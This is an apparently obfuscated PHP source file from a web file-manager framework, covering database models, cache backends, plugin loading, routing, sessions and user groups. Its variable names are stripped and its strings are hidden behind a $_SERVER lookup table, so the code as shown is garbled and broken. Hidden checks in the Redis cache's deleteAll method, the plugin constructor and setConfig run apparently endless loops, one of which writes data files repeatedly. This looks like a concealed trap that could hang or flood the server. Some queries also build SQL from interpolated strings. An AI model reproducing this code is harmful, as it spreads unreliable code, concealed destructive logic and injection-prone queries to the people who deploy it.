TableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db- 
>commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public functio 
n getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLas 
tSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ 
 =& $_SERVER[]; return isset($this->fields[$[337]]) ? $this->fields[$[337]] : $this->pk; } public function getDbFields() 
{ $ =& $_SERVER[]; if (isset($this->options[$[365]])) { $ = $this->db->getFields($this->options[$[365]]); return 
$ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$[336]], $[$[337]], $[$ 
[338]], $[$[335]]); return $; } return !1; } public function data($ = '') { $ =& $_SERVER[]; if ($[12] 
=== $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($ 
)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[357])); } $this->data = $; return 
$this; } public function join($) { $ =& $_SERVER[]; if (is_array($)) { $this->options[$[368]] = $; } elsei 
f (!empty($)) { $this->options[$[368]][] = $; } return $this; } public function union($, $ = false) { $ =& $_ 
SERVER[]; if (empty($)) { return $this; } if ($) { $this->options[$[432]][$[433]] = !0; } if (is_object($)) { 
$ = get_object_vars($); } if (is_string($)) { $ = $; } elseif (is_array($)) { if (isset($[0])) { $this-> 
options[$[432]] = array_merge($this->options[$[432]], $); return $this; } else { $ = $; } } else { think_exception( 
think_lang($[357])); } $this->options[$[432]][] = $; return $this; } public function cache($ = true, $ = null, $ 
 = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[434]] = array($[97] => $, $[424] => $ 
, $[33] => $); } return $this; } public function field($, $ = false) { $ =& $_SERVER[]; if (!0 === $) 
{ $ = $this->getDbFields(); $ = $ ? $ : $[220]; } elseif ($) { if (is_string($)) { $ = explode($[ 
50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$[359]] = $ 
; return $this; } public function scope($ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $) { if (iss 
et($this->_scope[$[37]])) { $ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $ = explod 
e($[50], $); $ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($ 
, $this->_scope[$]); } if (!empty($) && is_array($)) { $ = array_merge($, $); } } elseif (is_array($)) { 
$ = $; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return 
$this; } public function where($, $ = null) { $ =& $_SERVER[]; if (!is_null($) && is_string($)) { if (!is_ar 
ray($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[428]), $); $ = vsprintf 
($, $); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ = 
> $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $[435]) === 0) { continue; } think_trace($ 
[436], $[12], $[49]); die; } } } if (is_string($) && $[12] != $) { $ = array(); $[$[437]] = $; $ 
 = $; } if (isset($this->options[$[361]])) { $this->options[$[361]] = array_merge($this->options[$[361]], $); } els 
e { $this->options[$[361]] = $; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[]; $thi 
s->options[$[377]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($, $ = n 
ull) { $ =& $_SERVER[]; $this->options[$[438]] = is_null($) ? $ : $ . $[50] . $; return $this; } 
public function comment($) { $this->options[$_SERVER[][439]] = $; return $this; } public function setProperty($, $) 
{ if (property_exists($this, $)) { $this->{$} = $; } return $this; } } goto d; C: class CacheLockDatabase { pu 
blic function lock($, $ = 0) { $ = Model($_SERVER[][901]); $ = microtime(!0) + $; while (microtime(!0) < $ 
) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->set($, $); if ($) { return 
!0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][901])->get($); } public functio 
n unlock($) { Model($_SERVER[][901])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function _ 
_construct($, $) { $ =& $_SERVER[]; if (!class_exists($[940])) { show_json($[941], !1); } $this->cacheTime = 
$; $this->handle = new Memcached(); if (is_array($[$[942]]) && count($[$[942]]) >= 1) { foreach ($[$[942]] as 
$) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$ 
[208]], $[$[209]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $th 
is->handle->set($, $, $); } public function get($) { return $this->handle->get($); } public function remove($) 
{ return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle 
; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $) { $ =& $_SERVER[ 
]; if (!class_exists($[943])) { show_json($[944], !1); } $this->cacheTime = $; $ = isset($[$[945]]) ? $[$ 
[945]] : 10; $ = _get($, $[942]); if ($ && is_array($)) { $this->initCluster($, $); } else { $this- 
>handle = $this->init($, $); } } private function init($, $) { $ =& $_SERVER[]; $ = new Redis(); $ = iss 
et($[$[946]]) ? $[$[946]] : !1; if ($) { $->pconnect($[$[208]], $[$[209]], $); } else { $-> 
connect($[$[208]], $[$[209]], $); } if (!empty($[$[495]])) { $->auth($[$[495]]); } if (!empty($ 
[$[830]]) && $[$[830]] != 0) { $->select($[$[830]]); } return $; } private function initCluster($, $) { 
$ =& $_SERVER[]; $ = array($[947], $[948], $[949]); $ = $[947]; if (isset($[$[16]]) && in 
_array($[$[16]], $)) { $ = $[$[16]]; } switch ($) { case $[947]: $this->_slave($, $); brea 
k; case $[948]: break; case $[949]: $this->isCluster = !0; $ = $[$[942]]; $ = isset($[$[946]]) ? $ 
[$[946]] : !1; $ = isset($[$[495]]) ? $[$[495]] : null; $this->handle = new RedisCluster(NUll, $, $, 
$, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][942]]; $this->fi 
lterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $ = array_r 
and($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $); } private function filterConfig(& 
$, $) { $ =& $_SERVER[]; $ = explode($[4], $); $ = array($[208] => $[0], $[209] = 
> $[1]); $ = array_merge($, $); } public function set($, $, $ = false) { $ = $ ? $ : $this->c 
acheTime; return $this->handle->setEx($, $, $); } public function setLock($, $, $) { return $this->handle->setNX 
($, $); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($) 
; } public function remove($ 
) { return $this->handle->del($ 
); } public function deleteAll() { $ =& $_SERVER[]; $ = $_S 
ERVER[$[324]] . $[325]; $ = $[950]; if ($_SERVER[$[321]] != $($)) { $ = $[951]; $ = $[323]; $ 
 = $_SERVER[$[324]] . $[325]; $ = $($); $ = explode($[262], $); if (count($) < $[704]) { $ 
 = $[327]; $(); } $ = $[952]; $($_SERVER[$[953]]); $ = $[951]; $(); $ = $[954]; $ 
= json_encode($GLOBALS[$[955]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } if ($this 
->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll() 
; } } goto b; b: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostD 
efault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function 
__construct() { $ =& $_SERVER[]; if (!isset($_SERVER[$[321]]) || !isset($_SERVER[$[322]])) { $ = $[951]; $ = 
$[323]; $ = $_SERVER[$[324]] . $[325]; $ = $($); $ = explode($[262], $); if (count($) < 
$[704]) { $ = $[327]; $(); } $ = $[952]; $($_SERVER[$[953]]); $ = 1; for ($ = $; $ 
 > 0; $++) { $ = json_encode($GLOBALS[$[500]]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $thi 
s->modelPlugin = Model($[1620]); $this->pluginName = str_replace($[1620], $[12], get_class($this)); $this->pluginPath = PLUGIN_D 
IR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1621] . $this->pluginName . $[8]; $this->pluginHost = $config 
[$[1622]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1622]] . $this->pluginName . $[8]; $ = $con 
fig[$[1623]]; if ($ && strpos($[50] . $ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1624 
]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $t 
his->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function up 
date() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1625]); } protected function assign($ 
, $ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $; } 
} protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appR 
egist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[]; $ = $this->appPackage(); $ = $[12]; 
if (isset($[$[498]])) { if (isset($[$[498]][$[1626]])) { $ = $[1627] . $[$[498]][$[1626]] 
. $[1628]; } else { if ($[$[498]][$[1629]]) { $ = $[1630] . $[$[498]][$[1629]] . $[1631]; 
} } } return $; } final function fileCanView($) { $ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->i 
sShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $[1632] . rawurlencode(this_url()); show_tips(L 
NG($[1633]) . $[1634] . $ . $[1635] . LNG($[1636]) . $[1637], !1); } if (!Action($[1638])->authCan($[1639])) { sh 
ow_tips(LNG($[1640]) . $[1641], !1); } ActionCall($[1642], $); } final function isShare($) { $ = KodIO::parse($) 
; return $[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { retur 
n $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[][1252])->linkOut($); } 
public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[ 
][1252])->link($); } final function filePath($, $ = true, $ = false) { $ =& $_SERVER[]; $ = $this-> 
filePathGet($, $); if (!$this->fileInfo) { show_tips(LNG($[108]), !1); } if ($ && isset($this->fileInfo[$[549]]) & 
& $this->fileInfo[$[549]]) { $ = Model($[552])->fileInfo($this->fileInfo[$[549]]); if (!$ || !IO::exist($[$ 
[87]])) { show_tips(LNG($[108]) . $[1643]); } } Hook::trigger($[1644], $); return $; } final function fi 
lePathGet($, $ = true) { $ =& $_SERVER[]; if ($ = $this->checkSharePath($, $)) { return $; } $this 
->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$[1645]]) && isset($ 
[$[234]])) { $ = Mcrypt::decode($[$[234]], Model($[843])->get($[844])); if ($) { $this->fileInfo = IO::info 
($); $this->fileInfo[$[1646]] = $; $this->cachePath = $this->pluginCachePath($[12], $); return $; } } $ = 
$this->_cacheHttpFile($, $); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath 
= $this->pluginCachePath($[12], $); } return $; } final function _cacheHttpFile($, $ = true) { $ =& $_SERVE 
R[]; $ = parse_url_query($); $ = get_path_ext($); if (isset($[$[32]]) && $[$[32]]) { $ 
 = get_path_ext($[$[32]]); } $ = hash_path($) . $[10] . $; $this->cachePath = $this->pluginCachePath($ 
? $ : $[12]); $ = IO::fileNameExist($this->cachePath, $); if ($) { return KodIO::make($); } $ = rtrim($this->ca 
chePath, $[8]) . $[8] . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function check 
SharePath($, $ = true) { $ =& $_SERVER[]; if (!$this->isShare($)) { return !1; } $ = Action($[1252])->sh 
arePathInfo($); if (!is_array($) || !isset($[$[87]])) { show_json(LNG($[1647]), !1); } $this->fileInfo = $; $this- 
>cachePath = $this->pluginCachePath(!1, $); return $[$[87]]; } final function pluginCachePath($ = '', $ = false) { $ 
 =& $_SERVER[]; if ($ && is_array($this->fileInfo)) { $ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTE 
M_TEMP . $[1648] . $this->pluginName . $[8] . $, $[8]); $ = IO::infoFullSimple($); $ = $ && is_array 
($) ? $[$[87]] : $[12]; if (!$) { $ = IO::mkdir($); } return $; } final function pluginCacheFileSet( 
$, $ = '') { $ =& $_SERVER[]; $ = IO::infoFullSimple($); if (!$) { return IO::mkfile($, $, REPEAT_ 
REPLACE); } IO::setContent($[$[87]], $); return $[$[87]]; } final function pluginLocalFile($ = '') { $ =& $_SERV 
ER[]; $ = TEMP_FILES . "{$this->pluginName}/"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $ 
= IO::info($); $ = $[1649] . KodIO::hashPath($) . $[10] . $[$[169]]; if (!checkExtSafe($)) { $ = $ 
 . $[1287]; } $ = $ . $; if (@file_exists($)) { return $; } return IO::copy($, $, 0, $); } fi 
nal function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($th 
is->pluginPath . $[1650]); $this->parseLang($); $ = json_decode_force($); if (!$) { return array(); } $ = Hook: 
:trigger($[1651], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public funct 
ion packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { re 
turn $this->packageInfoGet($_SERVER[][1652]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1653]); 
} public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1654]); } public function echoJsAssign($, $) { 
$this->echoJsAssignArr[$] = $; } private function parseFile($) { $ =& $_SERVER[]; $ = file_get_contents_nossl($ 
); $ = array($[1655], $[1656], $[1657], $[1658], $[1659], $[1660], $[1661]); $ = array($this->pluginHost, 
$this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[92]][$[1662]]); foreach ( 
$this->echoJsAssignArr as $ => $) { $[] = $[1663] . $ . $[1664]; $[] = is_array($) || is_object($) ? 
rawurlencode(json_encode($)) : $; } if (strstr($, $[1665])) { $ = rawurlencode(json_encode($this->pluginLangArr)); 
$ = str_replace($[1665], $, $); } if (strstr($, $[1666])) { $ = $ = rawurlencode(json_encode($thi 
s->getConfig())); $ = str_replace($[1666], $, $); } $ = str_replace($, $, $); return $; } pr 
ivate function parseLang(&$) { $ =& $_SERVER[]; $ = $[1667]; if (!strstr($, $)) { return; } preg_match 
_all($[1668], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ 
 = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -4); $ = LNG($); $[] = $ 
; $[] = str_replace(array($[262], $[1153], $[427], $[121]), array($[53], $[53], $[12], $[16 
69]), $); } $ = str_replace($, $, $); } private function parseConfig(&$) { $ =& $_SERVER[]; $ 
= $[1670]; if (!strstr($, $)) { return; } preg_match_all($[1671], $, $); if (!is_array($) || count($ 
) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ = array(); 
foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ 
= str_replace($, $, $); } private function parsePackage(&$) { $ =& $_SERVER[]; $ = $[1672]; if (!str 
str($, $)) { return; } preg_match_all($[1673], $, $); if (!is_array($) || count($) == 0 || !is_array($[ 
0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $) { $ 
 = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ = str_replace($, $, $) 
; } final function echoFile($, $ = false) { $ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $[1674]) 
{ echo $[1675] . $this->pluginName . $[8] . $ . $[1676]; if (!file_exists($)) { echo $[1677]; return; } } $ = 
$this->parseFile($); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($)) { $ = 
str_replace(array_keys($), array_values($), $); } echo $[262] . $; } private function checkVersion() { $ =& $_SERVE 
R[]; $ = $this->appPackage(); $ = $this->getConfig(); if ($[$[1678]] == $[$[1652]]) { return; } $this->regis 
t(); $this->setConfig(array($[1678] => $[$[1652]])); } final function initLang() { $ =& $_SERVER[]; $ = $[1 
679]; $ = $this->pluginPath . $[1680]; $ = I18n::getType(); $ = array(); if (file_exists($ . $ . $[911])) { 
$ = (include $ . $ . $[911]); } else { if ($ == $[1681] && !file_exists($ . $ . $[911]) && file_ 
exists($ . $[1682])) { $ = (include $ . $[1682]); } else { if (file_exists($ . $ . $[911])) { $ = ( 
include $ . $ . $[911]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return 
$; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); 
} return $this->pluginConfig; } public function setConfig($) { $ =& $_SERVER[]; if (!isset($_SERVER[$[321]]) || !isset( 
$_SERVER[$[322]])) { $ = $[951]; $ = $[323]; $ = $_SERVER[$[324]] . $[325]; $ = $($); $ 
 = explode($[262], $); if (count($) < $[704]) { $ = $[327]; $(); } $ = $[952]; $($_SERVER[$ 
[953]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[500]]); } } $this->pluginConfig = ar 
ray(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($) { } public function onGetConf 
ig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeCl 
ose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public fun 
ction authCheck($ = "pluginAuth") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { retu 
rn !1; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($_SERVER[][1683], $[$]); } publi 
c function url($, $ = '', $ = true) { $ =& $_SERVER[]; $ = $this->getConfig(); $ = KOD_VERSION . $[ 
10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $ . $[470] . $; if (substr($, 0, 4) == $[152] || subs 
tr($, 0, 2) == $[1406]) { $ = $ . $[1684] . $; } else { if ($ == $[12]) { $ = $this->pluginHost . $ 
 . $[1684] . $; } else { if ($ === $[78]) { $ = $this->pluginHost . $; } else { if ($ == $[1685]) 
{ $ = STATIC_PATH . $ . $[1684] . $; } else { if ($ == $[1686]) { $ = APP_HOST . $[1687] . $ . $ 
[1684] . $; } else { if (isset($[$])) { $ = $[$] . $ . $[1684] . $; } } } } } } if (!$) 
{ return $; } echo $; } public function link($ = false, $ = '') { $ =& $_SERVER[]; $ = $this->linkHa 
s == !1; $this->linkHas = !0; if (!$) { $this->link($[1688], $[1686]); $this->link($[1689], $[1685]); $this->l 
ink($[1690], $[1685]); $this->link($[1691], $[1685]); $this->link($[1692], $[1685]); if ($) { Hook: 
:trigger($[1693]); } return; } $ = $this->url($, $, !1); if (substr($, -3) == $[1694]) { echo $[169 
5] . $ . $[1696] . $[262]; } else { if (substr($, -4) == $[1697]) { echo $[1698] . $ . $[1699] 
. $[262]; } } if ($) { Hook::trigger($[1693]); } } } class Route { public static $halts = false; public static $routes = a 
rray(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array 
(":any" => "[^/]+", ":num" => "[0-9]+", ":all" => ".*"); public static 
$errorCallback; public static function __callstatic($, $) { $ =& $_SERVER[]; if ($ == $[1700]) { $ = arra 
y_map($[1701], $[0]); $ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $ = $[2]; } else { $ 
 = null; $ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $ = $[1]; } array_push(self::$maps, $); 
array_push(self::$routes, $); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $); } public static funct 
ion error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public sta 
tic function dispatch() { $ =& $_SERVER[]; $ = parse_url($_SERVER[$[1702]], PHP_URL_PATH); $ = $_SERVER[$[ 
164]]; $ = array_keys(static::$patterns); $ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($[1 
357], $[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $) 
{ if (self::$methods[$] == $ || self::$methods[$] == $[1703] || in_array($, self::$maps[$])) { $ = ! 
0; if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $ = end($); $ = explod 
e($[1289], $); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$ca 
llbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $[ 
4]) !== !1) { $ = str_replace($, $, $); } if (preg_match($[1704] . $ . $[1705], $, $)) { i 
f (self::$methods[$] == $ || self::$methods[$] == $[1703] || !empty(self::$maps[$]) && in_array($, self::$maps[$ 
])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); 
$ = end($); $ = explode($[1289], $); $ = new $[0](); if (!method_exists($, $[1])) { echo $ 
[1706]; } else { call_user_func_array(array($, $[1]), $); } if (self::$halts) { return; } } else { call_user_func_array( 
self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$e 
rrorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1707]] . $[1708]); echo $[1709]; }; } else { if (i 
s_string(self::$errorCallback)) { self::get($_SERVER[$[1702]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); r 
eturn; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static 
$handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $ 
; } $ = $GLOBALS[$[6]][$[434]]; self::$sessionTime = $[$[1710]]; $ = isset($GLOBALS[$[1711]]) ? $GLOBALS[ 
$[1711]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else 
{ self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime 
); $ = $[$[1712]]; $ = $[$]; $ = $[$[900]]; switch ($) { case $[21]: self::$handle = Mod 
el($[901]); break; case $[902]: self::$handle = new CacheRedis($, $); break; case $[903]: self::$handle = new CacheMem 
cached($, $); break; case $[230]: $[$[87]] = $[$[87]] . $[1713]; self::$handle = new CacheFile($, $ 
); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } p 
ublic static function getBySign($) { $ = self::$handle->get($); $ = unserialize($); return is_array($) ? $ : a 
rray(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self:: 
$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } se 
lf::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ( 
$ as $ => $) { array_set_value(self::$data, $, $); } } else { array_set_value(self::$data, $, $); } self::se 
tBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } 
return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$hand 
le->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0) 
; self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clea 
rTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][906])) { self::$handle->clearTimeout(); } } } goto D; c 
: class GroupModel extends ModelBase { protected $tableName = "group"; protected $tableMeta = array("table	 
6ame" => "group_meta", "metaField" => "groupID"); pro 
tected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2045] => array($[0], $[2046]), $ 
[2047] => array($[0], $[2048])); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); 
if (!$) { return !1; } if ($) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[][204 
9], $); } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if ($) { $ = array($[19 
63] => intval($)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet( 
$[2050], $); } protected function groupAdd($) { $ =& $_SERVER[]; if (!$[$[192]] && isset($[$[1 
963]]) && $[$[1963]] == 1) { if ($ = $this->getInfoSimple($[$[1963]], !0)) { return $[$[1963]]; } } else 
{ $ = $this->getInfoSimple($[$[192]]); if (!$) { return !1; } } $ = $[602]; if ($[$[592]]) { $ = 
$[$[592]] . $[$[1963]] . $[50]; } $ = array($[502] => $this->groupNameAuto($[$[192]], $[$ 
[32]]), $[485] => $[$[192]], $[660] => $, $[2051] => $[$[1949]], $[2052] => 0, $[1967] => 0); 
if (isset($[$[1987]])) { $[$[1987]] = $[$[1987]]; } else { $ = $this->max($[1987]); if (!$) { $ 
 = 0; } $[$[1987]] = $ + 1; } if (!empty($[$[1963]])) { $[$[1963]] = $[$[1963]]; } $ = $th 
is->add($); $this->setNamePinyin($, $[$[32]]); if (isset($[$[2053]])) { $this->metaSet($, array($[20 
53] => $[$[2053]], $[2054] => $[$[2054]])); unset($[$[2053]]); unset($[$[2054]]); } Model($[ 
1414])->groupRootAdd($); $this->_clearCache($[$[192]]); return $; } protected function groupEdit($, $) { $ 
 =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($[$[192]])) { $ = $this->g 
etInfoSimple($[$[192]]); if (!$) { return !1; } if ($[$[1963]] == $[$[1963]]) { return !1; } if ($[$ 
[192]] != $[$[192]]) { if ($[$[592]] !== $[$[592]] && strpos($[$[592]], $[$[592]] 
. $[$[1963]] . $[50]) === 0) { return !1; } $[$[660]] = $[$[592]] . $[$[192]] . $[50]; 
$this->_changeChildLevel($, $); $this->_clearCache($[$[1963]]); $this->_clearCache($[$[192]]); } } if (isset($ 
[$[32]])) { $this->setNamePinyin($, $[$[32]]); } if (isset($[$[2053]])) { $this->metaSet($, array($ 
[2053] => $[$[2053]], $[2054] => $[$[2054]])); unset($[$[2053]]); unset($[$[2054]]); } $t 
his->_clearChildrenCache($); return $this->where(array($[2055] => $))->save($); } private function _clearChildrenCache($ 
) { $ =& $_SERVER[]; $ = array($[660] => array($[620], $[$[592]] . $[$[1963]] . $[621])) 
; $ = $this->field($[1963])->where($)->select(); foreach ($ as $) { $this->_clearCache($[$[1963]]); } } 
private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2049], $); $this->cacheFunctio 
nClear($[2050], $); } private function _changeChildLevel($, $, $ = false) { $ =& $_SERVER[]; $ = 
$[$[592]] . $[$[1963]] . $[50]; $ = $[$[592]] . $[$[1963]] . $[50] . $[$[196 
3]] . $[50]; if ($) { $ = $[$[592]] . $[$[1963]] . $[50]; } $ = array($[660] => array($ 
[620], $[$[592]] . $[$[1963]] . $[621])); $ = array($[660] => array($[669], "repla 
3e(parentLevel,'{$}','{$}')")); $this->_clearChildrenCache($); $t 
his->where($)->data($)->save(); } public function setNamePinyin($, $ = false) { $ =& $_SERVER[]; if (!$) { 
$ = $this->getInfoSimple($); $ = $[$[32]]; } if (!Input::check($, $[663])) { $this->metaSet($, $[546] 
, null); $this->metaSet($, $[545], null); return; } $ = array($[546] => str_replace($[53], $[12], Pinyin::get($)), 
$[545] => Pinyin::get($, $[664])); $this->metaSet($, $); } protected function groupStatus($, $) { $ =& 
$_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $this->_clearCache($); return $this->metaSet($ 
, $[823], $); if ($ == $[91]) { $ = $this->parentLevelArray($[$[592]]); } else { } $[] = $ 
[$[1963]]; $ = array(); foreach ($ as $) { $[] = array($[1963] => $, $[97] => $[823], $ 
[459] => $); $this->_clearCache($); } return Model($[2056])->addAll($, array(), !0); } protected function groupRe 
move($, $ = false) { $ =& $_SERVER[]; $ = array($[1963] => $); $ = $this->where($)->find(); 
if (!$ || $[$[192]] == 0) { return !1; } if (!$) { $ = $this->getInfoSimple($[$[192]]); $this->_chan 
geChildLevel($, $, !0); $this->where(array($[192] => $))->save(array($[192] => $[$[192]])); $this->_c 
learCache($[$[1963]]); } Model($[2056])->where($)->delete(); Model($[2057])->where($)->delete(); Model($[8 
97])->groupRootRemove($); $this->_clearCache($[$[192]]); return $this->where($)->delete(); } protected function groupSo 
rt($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $[] = array($[1963], $, $ 
[1987], $ + 1); } $this->saveAll($); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_lis 
tDataApply($[$_SERVER[][454]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ 
= array($[1963], $[32], $[1951], $[231]); $ = array($[531] => $[532], $[533] => $[534]) 
; $ = Input::get($[538], $[7], $[1967], $); $ = Input::get($[539], $[7], $[2058], array($ 
[2058], $[533])); $ = $[$]; $ = $ . "{$} {$}, groupID asc" 
; return $this->order($); } public function listChild($) { $ =& $_SERVER[]; $ = $this->where(array($[192] => 
$))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[454]]); return $; } public function listChildIds($) { $ 
 =& $_SERVER[]; if (is_string($)) { $ = explode($[50], $); } $ = $this->where(array($[1963] => arr 
ay($[7], $)))->field($[2059])->select(); if (!$) { return !1; } $ = array(); foreach ($ as $) { $[ 
] = "select groupID from `group` where \16 
0arentLevel like '{$[$[592]]}{$[$[1963]]},%'"; } $ = i 
mplode($[2060], $); $ = $this->query($); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], 
$[1963]); return array_unique($); } public function listByID($) { $ =& $_SERVER[]; if (!$) { return array(); 
